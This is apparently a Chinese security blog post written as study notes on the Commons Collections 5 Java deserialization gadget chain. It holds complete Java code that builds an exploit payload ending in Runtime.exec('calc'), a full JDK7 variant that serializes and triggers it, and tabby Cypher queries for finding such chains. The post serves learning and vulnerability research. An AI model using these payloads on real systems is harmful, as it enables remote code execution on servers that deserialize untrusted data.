Java Commons Collections 5 调用链

前言:作为Commons Collections 5 调用链的学习笔记

Commons Collections5 调用链(jdk>=8u76)

yso的调用链过程如下:

/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

	Requires:
		commons-collections
 */

这里就不调试了,直接逆推来学习下,利用代码如下

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

讲上面的代码之前,先说一个小知识点,关于"SecurityManager",SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

漏洞分析

        TiedMapEntry tiedmap = new TiedMapEntry(map,121212121);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

先看这段,BadAttributeValueExpException这个类肯定是重点,因为都是围绕着BadAttributeValueExpException类来进行操作的,这里我们一步一步反向推分析

生成了一个BadAttributeValueExpException对象,然后将这个对象中的var属性替换为了TiedMapEntry对象,上面的代码就做了这件事情,那么这个var对象(也就是TiedMapEntry)肯定会被触发,哪里触发?BadAttributeValueExpException的readObject方法中

这里去看下BadAttributeValueExpException的readObject方法,反序列化取出对应的val变量的字段,还需要注意到下面的toString方法

而TiedMapEntry对象实例化的时候构造器中又传入了两个属性,map1212121,这里的map为LazyMap,然后这里的1212121没啥用,单纯满足构造函数

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,121212121);

这里的toString是反序列化延续的点,此时val取出来就是TiedMapEntry对象,因为上面的val.set(poc,timedmap)

TiedMapEntry中的toString方法,其getValue()方法则会触发上面构造函数的LazyMap对象的get方法

这里来看到LazyMap对象的get方法,而其中的factory则是LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);,这里则就会触发链式调用

这里的1212121在里面的判断语句中还是有作用的,需要存储的innermap取不到这个主键的值才可以,所以这里任意就好

最后就是经典的链式调用ChainedTransformer了,最后触发命令执行calc

需要注意的地方

问题1:为什么idea反序列化调试CC5的时候,还没进行反序列化操作的时候就会直接弹出calc?

在idea本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。

我自己本地测试发现这种在调试器模式下是会进行触发的

public class test_tostring {
    public static void main(String[] args) {
        Person p = new Person();
        final Object a = p;
    }
}

那么该如何解决呢?

这里就当作默认让它map对象在赋值的时候会触发链式调用,那么我们则可以通过反射,在最后一步生成序列化的时候再将相关的chainedTransformer再进行添加,如下代码所示

但是我发现在最后这样添加了,之后还是会触发,这个问题先留着吧,我个人的猜想是factory.set中可能又进行了触发...

        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(map, chainedTransformer);

问题2:ysoserial代码中的Transformer数组,为什么最后会增加一个ConstantTransformer(1)?

在看PHITHON的安全漫谈的反序列化第五篇中记录如下信息

为什么只能在jdk>=8u76下进行使用

这里来观察下相关的反序列化入口点BadAttributeValueExpException就可以知道了,你会发现这个类在8u76之前都没有readObject方法,自然就无法进行利用了。

如何在jdk<=8u76下进行使用

这里来看下TiedMapEntry类,可以发现除了toString方法,其中同样也存在hashCode的方法

那么这里就可以找哪里同样调用了hashCode方法

7u80 中的 java/util/HashMap.java 中的 readObject方法,该方法其中的putForCreate,该方法同样也调用了putForCreate,其中也调用了hash,最终调用了hashcode()

package com.zpchcbd.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5_7u {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(1)}
        );

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})};

        // LazyMap封装
        HashMap innermap = new HashMap();
        LazyMap lazyMap = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);

        // TiedMapEntry封装
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,121212121);

        // 基于jdk7的利用
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "test");

        Field key = TiedMapEntry.class.getDeclaredField("key");
        key.setAccessible(true);
        key.set(tiedMapEntry, "zpchcbd");

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc5.txt"));
            outputStream.writeObject(hashMap);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc5.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

tabby反序列化链挖掘

BadAttributeValueExpException_TiedMapEntry_LazyMap_Transformer

对于cc5的反序列化链,实质上其实是对AnnocationHandler在jdk8中的修改变动的绕过

寻找思路:LazyMap到命令执行org.apache.commons.collections.Transformer的地方我们已经有了,所以我们需要寻找的就是source->LazyMap的地方,所以这里定义的三元组为如下

souce:任意类#readObject

chain:

sink:java.util.Map#get

如果用下面这段语法来搜索,路径太多导致不容易进行分析

match (source:Method) where source.NAME="readObject"
match (m1:Method)-[:CALL]-(m2:Method{NAME:"get",CLASSNAME:"java.util.Map"}) where m1.CLASSNAME=~'.*org.apache.commons.*'
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

为了清楚相关的路径,这里采取的方法就是路径为1的方法来进行分析,分段查找,这里的话就查找 哪个类调用了java.util.Map#get方法,这样就比较容易进行查看

match (m1:Method)-[:CALL]-(m2:Method{NAME:"get",CLASSNAME:"java.util.Map"}) where m1.CLASSNAME=~'.*org.apache.commons.*'
return m1.CLASSNAME,m1.NAME,m1.PARAMETER_SIZE

接着就是去寻找 任意类#readObject到TiedMapEntry之间的关系了,如下图所示,可以直接找到一个BadAttributeValueExpException类来进行利用

match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="getValue" and m1.CLASSNAME="org.apache.commons.collections.keyvalue.TiedMapEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 3) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

HashMap_TiedMapEntry_LazyMap_Transformer

source更改为HashMap的实现同样也可以实现反序列化链,这里用的语句就是跟上面用的语句是一样的,并且在jdk7/8中都可以使用,因为source用的不在是BadAttributeValueExpException类了

match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="getValue" and m1.CLASSNAME="org.apache.commons.collections.keyvalue.TiedMapEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 3) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

posted @ 2021-08-10 00:48  zpchcbd  阅读(242)  评论(0)    收藏  举报